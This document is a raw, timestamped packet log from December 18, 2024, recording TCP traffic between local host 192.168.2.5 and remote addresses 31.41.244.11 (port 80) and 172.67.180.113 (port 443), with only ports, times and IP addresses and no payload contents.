Dec 18, 2024 21:30:44.512396097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.512433052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.513103962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.513117075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.513174057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.513174057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.513855934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.513870001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.513880014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.513921022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.514559031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.514573097 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.514621973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.515101910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.515120983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.515167952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.515718937 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.515732050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.515764952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.516313076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.516326904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.516370058 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.516932011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.516946077 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.516990900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.516999006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.517644882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.517663956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.517709017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.517720938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.518354893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.518368959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.518410921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.518435955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.519172907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.519191980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.519304991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.519727945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.519742012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.519752026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.519795895 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.519819975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.520395041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.520421028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.520456076 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.520467997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.521096945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.521110058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.521162033 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.521927118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.521940947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.521992922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.522577047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.522591114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.522635937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.523189068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.523201942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.523211956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.523255110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.523277998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.523933887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.523947001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.523988008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.524000883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.524650097 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.524682999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.524739981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.525279999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.525295019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.525348902 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.525897980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.525911093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.525922060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.526015997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.526576042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.526595116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.526619911 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.526649952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.527292013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.527306080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.527331114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.527343035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.527975082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.527988911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.528027058 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.528673887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.528687954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.528726101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.529326916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.529345989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.529356956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.529385090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.529397011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.530054092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.530066967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.530102968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.530695915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.530714035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.530735970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.530760050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.531410933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.531424999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.531461000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.532089949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.532103062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.532113075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.532150984 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.532749891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.532798052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.698075056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.698297024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.698311090 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.698317051 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.698496103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.698496103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.698838949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.699012995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.699178934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.699192047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.699223995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.699831963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.699878931 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.699959993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.700001001 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.700263023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.700273991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.700308084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.700926065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.700970888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.701214075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.701225996 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.701253891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.701891899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.701904058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.701936960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.702480078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.702492952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.702527046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.703119993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.703133106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.703166008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.703672886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.703685999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.703721046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.704368114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.704380989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.704413891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.705105066 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.705117941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.705149889 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.705743074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.705754995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.705787897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.706649065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.706662893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.706672907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.706696033 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.706707954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.707096100 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.707115889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.707139969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.707161903 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.707804918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.707818031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.707854033 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.708518028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.708537102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.708563089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.708587885 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.709170103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.709183931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.709193945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.709216118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.709237099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.709876060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.709888935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.709922075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.710547924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.710561037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.710594893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.711301088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.711321115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.711344957 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.711369991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.711927891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.711941004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.711976051 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.712666035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.712678909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.712690115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.712713003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.712726116 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.713314056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.713326931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.713360071 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.714010000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.714021921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.714056015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.714715004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.714726925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.714761019 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.715337992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.715357065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.715368032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.715388060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.715413094 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.716065884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.716084003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.716114998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.716137886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.716794014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.716806889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.716839075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.716850996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.717478991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.717492104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.717525959 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.718085051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.718126059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.718132019 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.718180895 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.718806982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.718820095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.718831062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.718852997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.718875885 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.719512939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.719543934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.719558954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.719580889 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.720256090 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.720294952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.720302105 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.720335960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.720347881 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.720988989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.721002102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.721039057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.721669912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.721688986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.721714020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.721738100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.722388029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.722400904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.722412109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.722433090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.722457886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.722929955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.722943068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.722976923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.723573923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.723592997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.723617077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.723643064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.724311113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.724323988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.724359989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.725008011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.725020885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.725032091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.725054026 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.725066900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.725702047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.725720882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.725742102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.725755930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.726358891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.726378918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.726403952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.726416111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.727072954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.727086067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.727117062 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.727766991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.727781057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.727811098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.727835894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.728429079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.728462934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.728475094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.728477001 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.728501081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.728512049 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.729208946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.729222059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.729254007 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.729855061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.729867935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.729899883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.730495930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.730509043 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.730545998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.841505051 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:44.841753960 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:44.841969013 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:44.842041016 CET	49820	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:44.842063904 CET	443	49820	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:44.856883049 CET	49824	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:44.856937885 CET	443	49824	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:44.857021093 CET	49824	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:44.863549948 CET	49824	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:44.863569975 CET	443	49824	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:44.890222073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.890342951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.890388966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.890420914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.890459061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.890985966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.891033888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.891324997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.891335964 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.891374111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.891921997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.891968012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.892095089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.892133951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.892432928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.892451048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.892472982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.892491102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.893188953 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.893230915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.893419027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.893429995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.893460035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.894042969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.894054890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.894088030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.894712925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.894731045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.894747019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.894753933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.894779921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.895442009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.895459890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.895487070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.895507097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.896119118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.896131039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.896181107 CET	49819	80	192.168.2.5	31.41.244.11
